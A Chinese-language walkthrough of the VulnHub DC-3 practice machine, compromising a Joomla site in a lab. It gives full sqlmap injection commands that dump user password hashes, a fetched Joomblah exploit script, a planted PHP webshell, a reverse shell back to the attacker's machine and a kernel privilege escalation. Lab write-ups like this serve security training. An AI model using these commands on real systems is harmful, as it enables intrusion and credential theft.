kali ip :192.168.20.130
靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/
信息收集
扫描靶机ip以及开放端口
开放了80端口访问一下
Welcome to DC-3.
This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge. :-)
欢迎来到 DC-3。
这一次，只有一面旗帜，一个入口，没有任何线索。
要获得flag，您显然必须获得 root 权限。
如何成为 root 取决于您——当然，也取决于系统。
祝你好运 - 我希望你喜欢这个小挑战。 :-)
意思就是需要root权限了
查看Wapplayzer信息如下
使用的Joomla的CMS，使用joomscan(Joomla漏洞扫描器)扫描器扫描
joomscan --url http://192.168.20.129/
后台登录界面已发现
漏洞攻击
使用searchsploit搜索Joomla的漏洞
查看一下42033.txt文件
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
所以可以利用sqlmap进行注入
sqlmap -u "http://192.168.20.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查看joomladb数据库
sqlmap -u "http://192.168.20.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
有user表，查看#__users的列
sqlmap -u "http://192.168.20.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
查看表name和password的值
sqlmap -u "http://192.168.20.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
得到加密密码
还有一种简单的方法，使用joomblash.py脚本
wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py
直接攻击即可得到加密的密码
使用john爆破密码，我将密文内容放在1文件中
得到密码snoopy，登录到系统
此处发现可以新增页面
写入一句话
木马路径http://192.168.20.129/templates/beez3/shell.php
蚁剑连接
当前权限位www-data
编写反弹shell，监听1234端口，反弹shell至kali，shell内容用的kali自带的位于/usr/share/webshells/php/php-reverse-shell.php并且修改参数
连接成功，写入交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
提权
使用uname -a发现是ubuntu16.04
使用searchsploit发现一个漏洞可以提权
查看txt文件
将压缩包下载下来上传服务器解压运行即可(这里我偷几张图，我没科学上网工具……)
文章来源：https://www.toymoban.com/news/detail-423572.html
文章来源地址https://www.toymoban.com/news/detail-423572.html
到了这里，关于vulnhub DC：3.2渗透笔记的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
![[VulnHub靶机渗透] pWnOS 2.0](https://imgs.yssmx.com/Uploads/2024/04/847034-1.png)
![[渗透测试学习靶机07] vulnhub靶场 Prime 2](https://imgs.yssmx.com/Uploads/2024/02/449159-1.png)
